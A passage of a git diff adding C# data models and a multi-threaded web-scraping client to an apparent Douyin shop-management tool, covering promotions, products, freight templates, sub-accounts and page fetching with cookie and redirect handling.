23:59:59","sold_out_type":"1","create_action_type":"0"} + // 一口价 {"sub_stype":"0","shop_stype":"1","title":"33333","time_set_type":"0","promotion_goods":[{"product_id":"3548176868555547395","title":"不锈钢铁板烧料理铲子西餐披萨铲刀手抓饼压铲生煎饼工具炒冰铲子","cover":"https://p3-aio.ecombdimg.com/obj/ecom-shop-material/v1_NxryKpcR_70963536160382815020819_1ad5b45b1ae22a3fdb44cbe31f490e02_sx_148382_www800-800","config_scope":"0","promotion_skus":[{"id":"1732508235120728","camp_stock_num":"3","user_limit":"2","price":"3800"}]}],"order_expire_time":"300","pre_begin_time":"2022-05-16 00:00:00","begin_time":"2022-05-16 00:00:00","end_time":"2022-05-16 23:59:59","sold_out_type":"1","create_action_type":"0"} + //     {"sub_stype":"0","shop_stype":"1","title":"3213","time_set_type":"1","promotion_goods":[{"product_id":"3548176868555547395","title":"不锈钢铁板烧料理铲子西餐披萨铲刀手抓饼压铲生煎饼工具炒冰铲子","cover":"https://p3-aio.ecombdimg.com/obj/ecom-shop-material/v1_NxryKpcR_70963536160382815020819_1ad5b45b1ae22a3fdb44cbe31f490e02_sx_148382_www800-800","config_scope":"0","promotion_skus":[{"id":"1732508235120728","camp_stock_num":"1","user_limit":"1","price":"3900"},{"id":"1732508235120712","camp_stock_num":"1","user_limit":"1","price":"2800"},{"id":"1732508235119736","camp_stock_num":"1","user_limit":"1","price":"2800"}]}],"order_expire_time":"300","pre_begin_time":"2022-05-16 12:23:41","begin_time":"2022-05-16 12:23:41","end_time":"2022-05-16 12:53:41","sold_out_type":"0","create_action_type":"0"} + // 折扣  {"sub_stype":"0","shop_stype":"3","title":"5555","time_set_type":"0","promotion_goods":[{"product_id":"3548176868555547395","title":"不锈钢铁板烧料理铲子西餐披萨铲刀手抓饼压铲生煎饼工具炒冰铲子","cover":"https://p6-aio.ecombdimg.com/obj/ecom-shop-material/v1_NxryKpcR_70963536160382815020819_1ad5b45b1ae22a3fdb44cbe31f490e02_sx_148382_www800-800","config_scope":"0","promotion_skus":[{"id":"1732508235120728","camp_stock_num":"1","user_limit":"3","price":"undefined","shop_svalue":"90"},{"id":"1732508235120712","camp_stock_num":"2","user_limit":"4","price":"undefined","shop_svalue":"90"},{"id":"1732508235119736","camp_stock_num":"3","user_limit":"1","price":"undefined","shop_svalue":"90"}]}],"order_expire_time":"300","pre_begin_time":"2022-05-16 00:00:00","begin_time":"2022-05-16 00:00:00","end_time":"2022-05-16 23:59:59","sold_out_type":"0","create_action_type":"0"} + public class PromotionAddParam + { + public string sub_stype { get; set; } = "0"; + /// + /// 优惠方式 "1":一口价 "2":直降 "3":折扣 + /// + public string shop_stype { get; set; } = "2"; + /// + /// 活动标题 + /// + public string title { get; set; } + /// + /// 活动时间 "0":按按开始结束时间设置 "1":按时间段选择 + /// + public string time_set_type { get; set; } = "0"; + /// + /// 订单取消时间 单位:秒,默认5分钟 + /// + public string order_expire_time { get; set; } = "300"; + /// + /// 预热开始时间 2022-05-14 20:30:00" + /// + public string pre_begin_time { get; set; } + /// + /// 活动开始时间 2022-05-16 00:00:00 + /// + public string begin_time { get; set; } + /// + /// 活动结束时间 2022-05-16 23:59:59 + /// + public string end_time { get; set; } + /// + /// 活动库存售罄设置 "0":恢复为原价继续售卖 "1":停止售卖,商品标示“已抢光” + /// + public string sold_out_type { get; set; } = "0"; + public string create_action_type { get; set; } = "0"; + } +} diff --git a/AllBase/Model/Param/ShopManage/DouShopSettingParam.cs b/AllBase/Model/Param/ShopManage/DouShopSettingParam.cs new file mode 100644 index 0000000..712b79b --- /dev/null +++ b/AllBase/Model/Param/ShopManage/DouShopSettingParam.cs @@ -0,0 +1,13 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Param.ShopManage +{ + public class DouShopSettingParam + { + public bool IsAutoDragLogin { get; set; } = false; + } +} diff --git a/AllBase/Model/Param/UploadManage/UploadCommissionParam.cs b/AllBase/Model/Param/UploadManage/UploadCommissionParam.cs new file mode 100644 index 0000000..7229c96 --- /dev/null +++ b/AllBase/Model/Param/UploadManage/UploadCommissionParam.cs @@ -0,0 +1,25 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Param.UploadManage +{ + /// + /// 上货佣金设置参数 + /// + public class UploadCommissionParam + { + public long ProductId { get; set; } + + public bool? IsSet { get; set; } = null; + + public string ShopName { get; set; } + + /// + /// 佣金比例 1 - 50 整数 + /// + public int Rate { get; set; } + } +} diff --git a/AllBase/Model/Param/UploadManage/UploadErrorParam.cs b/AllBase/Model/Param/UploadManage/UploadErrorParam.cs new file mode 100644 index 0000000..42dc9af --- /dev/null +++ b/AllBase/Model/Param/UploadManage/UploadErrorParam.cs @@ -0,0 +1,22 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Param.UploadManage +{ + public class UploadErrorParam + { + public string product_id { get; set; } + public string source_id { get; set; } + public string message { get; set; } + public string cat_id { get; set; } + public string cat_name { get; set; } + public DateTime addtime { get; set; } + public DateTime update_time { get; set; } + public bool is_repair { get; set; } = false; + + public string remark { get; set; } + } +} diff --git a/AllBase/Model/Result/AddressAreaInfo.cs b/AllBase/Model/Result/AddressAreaInfo.cs new file mode 100644 index 0000000..a4b8d8a --- /dev/null +++ b/AllBase/Model/Result/AddressAreaInfo.cs @@ -0,0 +1,23 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Result +{ + public class AddressAreaInfo + { + public long code { get; set; } + public long father_code { get; set; } + public string level { get; set; } + public string name { get; set; } + public List sub_districts { get; set; } + } + + public class AddressProvinceInfo + { + public string province { get; set; } + public string province_id { get; set; } + } +} diff --git a/AllBase/Model/Result/CatePropertyResponseInfo.cs b/AllBase/Model/Result/CatePropertyResponseInfo.cs new file mode 100644 index 0000000..8f29c76 --- /dev/null +++ b/AllBase/Model/Result/CatePropertyResponseInfo.cs @@ -0,0 +1,106 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Result +{ + + public class CatePropertyResponseInfo + { + //public string msg = ""; + //private int tpl_type = 0; + //private int page = 0; + //private int size = 0; + //private int st = 0; + //public int code = 0; + //public int total = 0; + public int code = 0; + public int err_no = 0; + public string log_id = ""; + public string message = ""; + public string msg = ""; + public string sub_code = ""; + public string sub_msg = ""; + public PropertiesData data { get; set; } + } + + public class PropertiesData + { + public int tpl_type = 0; + public List data + { + get; + set; + } + } + public class PropertiesBase + { + + public int property_id; + public string property_name; + public bool required; + public string type; + //public string hint = ""; + public int multi_select_max; + /// + /// 是否支持枚举可输入,0表示不支持,1表示支持,支持枚举可输入的属性,在发布/编辑接口的类目属性参数中可以传入自定义的属性值,自定义属性值value为0,diy_type为1 + /// + public int diy_type; + //public int property_type = 0; + //public string property_id = ""; + //public int sequence = 0; + //public int relation_id = 0; + //public string name + //{ + // get; + // set; + //} + //public int required + //{ + // get; + // set; + //} + //public string type + //{ + // get; + // set; + //} + public List options + { + get; + set; + } + } + public class PropertiesValuesBase + { + public string name + { + get; + set; + } + public string value + { + get; + set; + } + } + + public class PropertyBaseNew + { + public long property_id; + public string property_name; + public string type; + public int required; + public List vbnlst = new List(); + } + public class PropertiesValuesBaseNew + { + public string name; + public long sequence; + public string value; + public long value_id; + } + +} diff --git a/AllBase/Model/Result/DouGoodsCollectInfo.cs b/AllBase/Model/Result/DouGoodsCollectInfo.cs new file mode 100644 index 0000000..682ae25 --- /dev/null +++ b/AllBase/Model/Result/DouGoodsCollectInfo.cs @@ -0,0 +1,80 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Result +{ + /// + /// 抖音搜索获取到的简单商品对象类 + /// + public class DouGoodsCollectInfo + { + /// + /// 商品ID spid + /// + public string Id; + /// + /// 商品名称 goodsName + /// + public string GoodsName; + /// + /// 平台 + /// + public string pt; + /// + /// 价格 jg + /// + public string Price; + /// + /// 销量 xl + /// + public string Sales; + /// + /// 佣金 yj + /// + public string yj; + /// + /// 佣金率 yjl + /// + public string yjl; + public string img; + /// + /// 类目 lm + /// + public string lm; + /// + /// 类目id lmid + /// + public string lmid; + /// + /// 关键词 gjz + /// + public string Keyword; + /// + /// 评论数 pl + /// + public int CommentsCount; + /// + /// 店铺ID dpid + /// + public string ShopId; + /// + /// 店铺名称 dpmc + /// + public string ShopName; + /// + /// 商品总数 spzs + /// + public int ShopProductCount; + /// + /// 好评率 hpl + /// + public double CommentsRate; + /// + /// 体验分数 + /// + public double Score; + } +} \ No newline at end of file diff --git a/AllBase/Model/Result/DouProductListInfo.cs b/AllBase/Model/Result/DouProductListInfo.cs new file mode 100644 index 0000000..847eeaa --- /dev/null +++ b/AllBase/Model/Result/DouProductListInfo.cs @@ -0,0 +1,112 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Result +{ + /// + /// 抖音店铺后台获取到的商品对象类 + /// + public class DouProductListInfo + { + public long product_id { get; set; } + + public string name { get; set; } + + public int status { get; set; } + + /// + /// 指定审核状态返回商品列表:1未提审 2审核中 3审核通过 4审核驳回 5封禁 7审核通过,待上架状态 + /// + public int check_status { get; set; } + + public decimal discount_price { get; set; } + + public string img { get; set; } + + public decimal cos_ratio { get; set; } + + public long create_time { get; set; } + + public long update_time { get; set; } + + public CategoryDetail category_detail { get; set; } + + public string description { get; set; } + + public string extra { get; set; } + + public bool is_package_product { get; set; } + + public decimal market_price { get; set; } + + public string mobile { get; set; } + + public long out_product_id { get; set; } + + public int pay_type { get; set; } + + public int product_type { get; set; } + + public string recommend_remark { get; set; } + + public long spec_id { get; set; } + } + + public class CategoryDetail + { + public long first_cid { get; set; } + + public string first_cname { get; set; } + + public long fourth_cid { get; set; } + + public string fourth_cname { get; set; } + + public long second_cid { get; set; } + + public string second_cname { get; set; } + + public long third_cid { get; set; } + + public string third_cname { get; set; } + } + + public class DouProductWithSalesListInfo : DouProductListInfo + { + /// + /// 总销量 + /// + public int? sell_num { get; set; } + /// + /// 总库存 + /// + public int? stock_num { get; set; } + /// + /// 创建时间文本 + /// + public string create_time_str { get; set; } + /// + /// 订单数(7天 一个月) + /// + public int? order_count { get; set; } + /// + /// 曝光次数 + /// + public int? show_count { get; set; } + /// + /// 曝光人数 + /// + public int? show_people_count { get; set; } + /// + /// 点击次数 + /// + public int? click_count { get; set; } + /// + /// 点击人数 + /// + public int? click_people_count { get; set; } + } +} diff --git a/AllBase/Model/Result/DouProductPromotionListInfo.cs b/AllBase/Model/Result/DouProductPromotionListInfo.cs new file mode 100644 index 0000000..cc9303f --- /dev/null +++ b/AllBase/Model/Result/DouProductPromotionListInfo.cs @@ -0,0 +1,89 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Result +{ + public class DouProductPromotionListInfo + { + public string product_id; + public string name; + public string img; + public int category_id; + public int first_cid; + public int second_cid; + public int third_cid; + public int fourth_cid; + public string good_comment_rate; + public string first_category; + public string second_category; + public string third_category; + public string fourth_category; + public int sold_times; + public bool allow; + public int stock_num; + public int max_price; + public int min_price; + public int in_campaign; + public List promotions; + public string reject_msg; + public int reject_type; + public object reject_detail; + public bool is_combined; + public int max_promotion_price; + public int min_promotion_price; + public string stype; + public int? sell_num; + } + + public class DouProductProPromotionListSkuInfo + { + public string id { get; set; } + /// + /// 价格,单位分 + /// + public int origin_price { get; set; } + /// + /// 库存 + /// + public int stock { get; set; } + /// + /// sku规格名称 + /// + public string specification { get; set; } + /// + /// sku图片 + /// + public string img { get; set; } + /// + /// spec1 id + /// + public long spec_detail_id1 { get; set; } + /// + /// spec2 id + /// + public long spec_detail_id2 { get; set; } + /// + /// spec3 id + /// + public long spec_detail_id3 { get; set; } + /// + /// 划线价 + /// + public int redline_price { get; set; } + /// + /// 优惠价 + /// + public string SetPrice { get; set; } + /// + /// 活动库存 + /// + public int ActiceStock { get; set; } + /// + /// 每人限购 + /// + public int LimitedNum { get; set; } + } +} diff --git a/AllBase/Model/Result/DouProductTradeIndexListInfo.cs b/AllBase/Model/Result/DouProductTradeIndexListInfo.cs new file mode 100644 index 0000000..3ee95c1 --- /dev/null +++ b/AllBase/Model/Result/DouProductTradeIndexListInfo.cs @@ -0,0 +1,46 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Result +{ + /// + /// 抖店商品交易指标 + /// + public class DouTradeIndexListInfo + { + public bool can_operation { get; set; } + /// + /// 商品点击次数 + /// + public string dh_product_click_pv { get; set; } + /// + /// 商品点击人数 + /// + public string dh_product_click_uv { get; set; } + /// + /// 商品曝光次数 + /// + public string dh_product_show_pv { get; set; } + /// + /// 商品曝光人数 + /// + public string dh_product_show_uv { get; set; } + /// + /// 成交订单数 + /// + public string pay_cnt { get; set; } + public ProductTradeIndex product { get; set; } + public List talent { get; set; } + public string product_id { get { return product?.serial_number; } } + } + + public class ProductTradeIndex + { + public string cover_image { get; set; } + public string serial_number { get; set; } + public string title { get; set; } + } +} diff --git a/AllBase/Model/Result/DouShopLoginInfo.cs b/AllBase/Model/Result/DouShopLoginInfo.cs new file mode 100644 index 0000000..2cc4b8f --- /dev/null +++ b/AllBase/Model/Result/DouShopLoginInfo.cs @@ -0,0 +1,196 @@ +using AllBase.Model.Param.FissionManage; +using CefSharp.WinForms; +using NaiBa.Util.Extension; +using Newtonsoft.Json; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Web.Script.Serialization; +using System.Xml.Serialization; + +namespace AllBase.Model.Result +{ + public class DouShopLoginInfo + { + public string DbId { get; set; } + public string LoginName { get; set; } + public string Password { get; set; } + public string ShopAccountId { get; set; } + public string ShopAccount { get; set; } + public string Mobile { get; set; } + public string ShopToken { get; set; } + public string Signature { get; set; } + public string TouTiaoId { get; set; } + public string Cookies { get; set; } = ""; + public Dictionary DictMultiCookies { get; set; } = new Dictionary(); + public string LoginStatus { get; set; } + public string ApiAuthStatus { get; set; } + public List LstBrand { get; set; } + /// + /// 客服账户 + /// + public string ChatAccount + { + get + { + string accountStr = ""; + foreach (var sub in this.ShopSubAccountList) + { + if (sub.group_name == "客服") + accountStr += sub.name + ","; + } + return accountStr.TrimEnd(','); + } + } + /// + /// 上货账户 + /// + public string UploadAccount + { + get + { + string accountStr = ""; + foreach (var sub in this.ShopSubAccountList) + { + if (sub.group_name == "上货") + accountStr += sub.name + ","; + } + return accountStr.TrimEnd(','); + } + } + /// + /// 拍单(采购)用户账户 + /// + public string BuyAccount + { + get + { + string accountStr = ""; + foreach (var sub in this.ShopSubAccountList) + { + if (sub.group_name == "采购") + accountStr += sub.name + ","; + } + return accountStr.TrimEnd(','); + } + } + public string Group { get; set; } + public string LastRefreshDate { get; set; } + public string AccessToken { get { return CurrentAuthInfo?.AccessToken; } } + public string RefreshToken { get { return CurrentAuthInfo?.RefreshToken; } } + public string AppKey { get { return CurrentAuthInfo?.AppKey; } } + public DateTime AddTime { get { return CurrentAuthInfo?.AddTime == null ? new DateTime() : CurrentAuthInfo.AddTime; } } + public DateTime ExpiresTime { get { return CurrentAuthInfo?.ExpiresTime == null ? new DateTime() : CurrentAuthInfo.ExpiresTime; } } + /// + /// 店铺运费模板 + /// + public long ExpressId { get; set; } + /// + /// 店铺是否可上传 + /// + public bool CanUpload = true; + /// + /// 店铺状态信息 + /// + public string Message; + + public List ApiAuthInfoList { get; set; } = new List(); + + public AuthInfo CurrentAuthInfo { get { return this.ApiAuthInfoList.OrderBy(a => a.ExpiresTime).LastOrDefault(); } } + + /// + /// 拍单Api授权信息 + /// + public AuthInfo BuyApiAuth { get; set; } = new AuthInfo(); + + public List ShopSubAccountList { get; } = new List(); + + public int OnlineProductCount { get; set; } = -1; + public int OfflineProductCount { get; set; } = -1; + + [JsonIgnore] + [ScriptIgnore] + [XmlIgnore] + public ChromiumWebBrowser Chat { get; set; } = null; + + public int PayStatus { get; set; } = 0; + + /// + /// 试用版最大上货计数,超过100限制 + /// + public int TrialUploadCount { get; set; } = 0; + + /// + /// 试用版最大上货计数,超过100限制 + /// + public int TrialOperateCount { get; set; } = 0; + + [JsonIgnore] + [ScriptIgnore] + [XmlIgnore] + public int UploadCount { get; set; } = 0; + + public int X { get; set; } + public int Y { get; set; } + + public List LstShopCategory { get; set; } = new List(); + } + + public class AuthInfo + { + public string AccessToken { get; set; } = ""; + public string RefreshToken { get; set; } = ""; + public string AppKey { get; set; } = ""; + public DateTime ExpiresTime { get; set; } + public DateTime AddTime { get; set; } + public string ApiAuthStatus { get; set; } = "未授权"; + } + + public class SubAccountInfo + { + public string name { get; set; } + public string mobile { get; set; } + public string group_id { get; set; } + public string group_name + { + get + { + var n = "未定义"; + if (group_id == "4") + n = "客服"; + if (group_id == "9") + n = "采购"; + if (group_id == "5") + n = "加盟"; + if (group_id == "10") + n = "上货"; + if (group_id == "11") + n = "数据"; + if (group_id == "8") + n = "登录"; + return n; + } + } + public int shop_count { get; set; } + public int id { get; set; } + } + + public class DouShopSubAccountInfo : SubAccountInfo + { + public string shop_login_name { get; set; } + public string sub_user_id { get { return id.ToString(); } set { id = value.ParseToInt(); } } + public string sub_user_name { get { return name; } set { name = value; } } + public string status { get; set; } = "1"; + public string company_id { get; set; } + } + + public class BrandInfo + { + public string brand_chinese_name { get; set; } + public string brand_english_name { get; set; } + public string brand_reg_num { get; set; } + public long id { get; set; } + } +} diff --git a/AllBase/Model/Result/FreightTemplateInfo.cs b/AllBase/Model/Result/FreightTemplateInfo.cs new file mode 100644 index 0000000..9607f17 --- /dev/null +++ b/AllBase/Model/Result/FreightTemplateInfo.cs @@ -0,0 +1,43 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Result +{ + public class FreightTemplateInfo + { + public TemplateInfo template { get; set; } + } + + public class TemplateInfo + { + public long id { get; set; } + public string template_name { get; set; } + /// + /// 发货省份id + /// + public string product_province { get; set; } + /// + /// 发货城市id + /// + public string product_city { get; set; } + /// + /// 计价方式-1.按重量计价 2.按数量计价 + /// + public int calculate_type { get; set; } + /// + /// 快递方式-1.快递 目前仅支持1 + /// + public int transfer_type { get; set; } + /// + /// 模板类型-0:阶梯计价 1:固定运费 2:卖家包邮 3:货到付款 + /// + public int rule_type { get; set; } + /// + /// 固定运费金额(单位:分) 固定运费模板必填 1-9900之间的整数 + /// + public int fixed_amount { get; set; } + } +} diff --git a/AllBase/Model/Result/ViolateInfo.cs b/AllBase/Model/Result/ViolateInfo.cs new file mode 100644 index 0000000..a539b09 --- /dev/null +++ b/AllBase/Model/Result/ViolateInfo.cs @@ -0,0 +1,42 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Result +{ + public class ViolateInfo + { + /// + /// 商品id + /// + public string business_id { get; set; } + /// + /// 违规详情描述 + /// + public string against_detail { get; set; } + /// + /// 违反规则名称 + /// + public string rule_name { get; set; } + /// + /// 违规店铺名称 + /// + public string shop_id { get; set; } + /// + /// 罚单编号 + /// + public string penalize_id { get; set; } + /// + /// 上家商品Id + /// + public string up_product_id { get; set; } + /// + /// 上家商品Id数字 + /// + public long up_product_id_number { get; set; } + + public string fileName { get; set; } + } +} diff --git a/AllBase/MultiThreadClient.cs b/AllBase/MultiThreadClient.cs new file mode 100644 index 0000000..71e9a3c --- /dev/null +++ b/AllBase/MultiThreadClient.cs @@ -0,0 +1,693 @@ +/* + * 多线程模拟浏览器采集客户端 + * 2013-7-24 + * 肖俊 + */ +using System; +using System.Collections.Generic; +using System.IO; +using System.IO.Compression; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; + +namespace AllBase +{ + public class MultiThreadClient + { + /// + /// 附加Cookies + /// + public string AddCookies = ""; + /// + /// 指定Cookies + /// + public string Cookies = ""; + /// + /// 指定UserAgent + /// + public string UserAgent = ""; + /// + /// 是否出错 + /// + public bool IsError = false; + /// + /// 是否友情链接查询 + /// + public bool FriendLink = false; + /// + /// 来路 + /// + public string Referer = ""; + /// + /// 是否手机头 + /// + public bool IsMoblie = false; + /// + /// 是否手机头 + /// + public bool IsWhoies = false; + /// + /// 强制定义为GBK编码 + /// + public bool IsGbk = false; + /// + /// 强制定义为GBK编码 + /// + public bool IsUtf8 = false; + /// + /// 强制不跳转 + /// + public bool NoRedir = false; + /// + /// 是否代理模式 + /// + public bool IsProxy = false; + /// + /// 百度搜索错误 + /// + public static bool BaiduError = false; + /// + /// 百度错误时间 + /// + public static DateTime BaiduErrorTime = DateTime.Now; + + public string EndUrl = ""; + /// + /// 超时 + /// + public int TimeOut = 30; + public string GetHtml(string url) + { + return GetHtml(url, -1,null); + } + + public string GetHtml(string url, byte[] post) + { + return GetHtml(url,-1, post); + } + + + /// + /// 采集器 + /// + /// 网址 + /// + public string GetHtml(string url, int isUtf8, byte[] post) + { + IsError = false; + string cookies = "", html = ""; + Random ra = new Random(); + string domain = GetDomain(url); + if (domain == null) + return ""; + if (domain.Length > 4 && + (domain.Substring(0, 2) == "m." || domain.Substring(0, 2) == "wap." || domain.Substring(0, 2) == "3g." || + domain.Substring(0, 2) == "4g.")) + IsMoblie = true; + if (!string.IsNullOrEmpty(url)) + url = url.Trim(); + if (string.IsNullOrEmpty(url)) + return ""; + WebBrowserCoockies wc; + if (IsMoblie) + wc = WebCoockies.MobileCoockies.Count>0? WebCoockies.MobileCoockies[ra.Next(WebCoockies.MobileCoockies.Count)]:null; + else + wc = WebCoockies.Coockies.Count>0? WebCoockies.Coockies[ra.Next(WebCoockies.Coockies.Count)]:null; + if (wc == null) + wc = new WebBrowserCoockies(); + for (int i = 0; wc.Coockies != null && i < wc.Coockies.Count; i++) + { + if (wc.Coockies[i] != null && wc.Coockies[i].Domain == domain) + { + cookies = wc.Coockies[i].Cookies; + break; + } + } + if (!string.IsNullOrEmpty(UserAgent)) + wc.UserAgent = UserAgent; + if (!string.IsNullOrEmpty(Cookies)) + cookies = Cookies; + WebClientx web = new WebClientx(); + web.AllowAutoRedirect = false; + web.Timeout = TimeOut; + web.Headers.Add("Accept-Language", "zh-CN,zh;q=0.8"); + web.Headers.Add("Accept-Encoding", "gzip, deflate, sdch, br "); + web.Headers.Add("User-Agent", wc.UserAgent); + + if (IsMoblie) + { + web.Headers.Add("X-Requested-With", "com.android.browser"); + web.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); + web.Headers.Add("x-wap-profile", "http://wap1.huawei.com/uaprof/HUAWEI_MT2_T00_UAProfile.xml"); + } + else + { + web.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); + web.Headers.Add("upgrade-insecure-requests", "1"); + } + + if (IsProxy)//是否是代理状态 + web.Headers.Add("Add-UserAgent", wc.UserAgent); + if (!BaseClass.IsTest) + web.Proxy = null; + if (!string.IsNullOrEmpty(AddCookies) && string.IsNullOrEmpty(cookies)) + cookies += AddCookies; + if (url.Contains("/url=") && IsMoblie) + web.Headers.Add("Add-Cookies", "Moblie"); + if (url.Contains("/url=") && IsWhoies) + web.Headers.Add("Add-Cookies", "whois"); + int retryTimes = 0; + GotoAgen: + EndUrl = url; + web.Headers.Remove("Cookie"); + if (!string.IsNullOrEmpty(cookies)) + web.Headers.Add("Cookie", cookies); + if (!string.IsNullOrEmpty(Referer)) + web.Headers.Add("Referer", Referer); + try + { + byte[] b; + //if (post == null) + //{ + // Stream receiveStream = web.OpenRead(url); + // MemoryStream ms = new MemoryStream(); + // int num; + // byte[] buffer = new byte[10240]; + // do + // { + // num = receiveStream.Read(buffer, 0, buffer.Length); + // if (num > 0) + // ms.Write(buffer, 0, num); + // } while (num > 0); + // b = ms.ToArray(); + // ms.Close(); + //} + //else + //{ + // b = web.UploadData(url, post); + //} + b = post == null ? web.DownloadData(url) : web.UploadData(url, post); + string cookies1 = web.ResponseHeaders.Get("Set-Cookie"); //获取Cookies + string location = web.ResponseHeaders.Get("Location"); //跳转地址 + if (!string.IsNullOrEmpty(cookies1)) + { + cookies = UpCookies(cookies, cookies1); + if (!string.IsNullOrEmpty(Cookies)) + Cookies = cookies; + bool ok = false; + foreach (var c in wc.Coockies) + { + if (c.Domain == domain) + { + c.Cookies = cookies; + ok = true; + } + } + if (!ok) + { + CoockiesBase c = new CoockiesBase(); + c.Cookies = cookies; + c.Domain = domain; + wc.Coockies.Add(c); + } + } + if (string.IsNullOrEmpty(location)) + { + string contentType = web.ResponseHeaders["Content-Type"]; + if (b == null) + return ""; + if (b.Length > 2 * 1024 * 1024) + return "文件太大"; + b = ZipHelper.Decompress(b); + if (b.Length > 2 * 1024 * 1024) + return "文件太大"; + if (!string.IsNullOrEmpty(contentType)) + { + string c = GetRegexString(contentType, "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + html = Encoding.GetEncoding(c).GetString(b); + } + } + if (string.IsNullOrEmpty(html) && isUtf8 == -1) + { + html = Encoding.GetEncoding("UTF-8").GetString(b); + string r = @"]*?charset=[""']*([\w-]+)[""']*"; + string c = GetRegexString(html, r).Trim(); + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (c.ToLower() != "utf-8" && !string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + else if (string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding("UTF-8").GetString(b); + } + if (!string.IsNullOrEmpty(html) && isUtf8 == -1) + { + if (html.Substring(0, 1) == "锘") + html = Encoding.GetEncoding("UTF-8").GetString(b); + if (html.Contains("�") && (html.Length - html.Replace("�", "").Length > 20)) + html = Encoding.GetEncoding("gbk").GetString(b); + } + if (isUtf8 == 0) + html = Encoding.GetEncoding("gbk").GetString(b); + if (isUtf8 == 1 && string.IsNullOrEmpty(html)) + html = Encoding.UTF8.GetString(b); + if (IsGbk) + html = Encoding.GetEncoding("gbk").GetString(b); + if (IsUtf8) + html = Encoding.GetEncoding("UTF-8").GetString(b); + } + if (retryTimes < 3 && (!string.IsNullOrEmpty(location) || string.IsNullOrEmpty(html))) + { + if (NoRedir) + return location; + + //下面是支持301和302跳转部分 + if (location.Length > 8 && (location.Substring(0, 7) == "http://" || location.Substring(0, 8) == "https://" || location.Substring(0, 6) == "ftp://")) + { + url = location; + + } + else + { + if (location.Substring(0, 1) == "/") + { + string[] l = url.Split('/'); + if (l.Length > 3) + { + url = ""; + for (int i = 0; i < 3; i++) + url += l[i] + "/"; + url += location.Substring(1, location.Length - 1); + } + } + else + { + if (url.Substring(url.Length - 1, 1) == "/") + url += location; + else + url += "/" + location; + } + } + retryTimes++; + goto GotoAgen; + } + } + catch (Exception e) + { + if (e.Message.Contains("(404)") || e.Message.Contains("(403)") || e.Message.Contains("(500)") || e.Message.Contains("指定的路径或文件名太长,")) + { + IsError = true; + return e.Message; + } + if (FriendLink) + { + IsError = true; + return e.Message; + } + if (retryTimes < 1) + { + Thread.Sleep(100); + retryTimes++; + goto GotoAgen; + } + IsError = true; + return e.Message; + } + if (html.Contains("您的访问出错了")) + { + if (!BaiduError) + { + BaiduError = true; + BaiduErrorTime = DateTime.Now; + } + IsError = true; + } + if (BaiduError && BaiduErrorTime.AddMinutes(5) < DateTime.Now) + BaiduError = false; + return html; + } + + + + + + + + + + + + + + + + + /// + /// 返回Utf-8编码 + /// + /// + /// + public string GetByte(string url, ref bool had, out bool isChinese) + { + string html = ""; + had = false; + IsError = false; + isChinese = false; + string cookies = ""; + Random ra = new Random(); + string domain = AllBase.GetHtml.GetDomain(url); + if (string.IsNullOrEmpty(domain)) + return ""; + WebBrowserCoockies wc = WebCoockies.Coockies[ra.Next(WebCoockies.Coockies.Count)]; + + for (int i = 0; wc != null && wc.Coockies != null && i < wc.Coockies.Count; i++) + { + if (wc.Coockies[i] != null && wc.Coockies[i].Domain == domain) + { + cookies = wc.Coockies[i].Cookies; + break; + } + } + WebClientx web = new WebClientx(); + web.Timeout = TimeOut; + web.AllowAutoRedirect = false; + web.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;"); + web.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + web.Headers.Add("Accept-Encoding", "gzip,deflate"); + // if (string.IsNullOrEmpty(UserAgent)) + // web.Headers.Add("User-Agent", wc.UserAgent); + //else + // web.Headers.Add("User-Agent", UserAgent); + web.Headers.Add("User-Agent", "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)"); + web.Proxy = null; + if (!string.IsNullOrEmpty(AddCookies) && string.IsNullOrEmpty(cookies)) + cookies += AddCookies; + if (!string.IsNullOrEmpty(cookies)) + web.Headers.Add("Cookie", cookies); + if (!string.IsNullOrEmpty(Referer)) + web.Headers.Add("Referer", Referer); + if (url.Contains("/url=") && IsMoblie) + web.Headers.Add("Add-Cookies", "Moblie"); + if (url.Contains("/url=") && IsWhoies) + web.Headers.Add("Add-Cookies", "whois"); + int retryTimes = 0; + byte[] b = null; + GotoAgen: + try + { + int max = 3 * 1024, len = 0;//最大文件为3MB + //Stream receiveStream = web.OpenRead(url); + 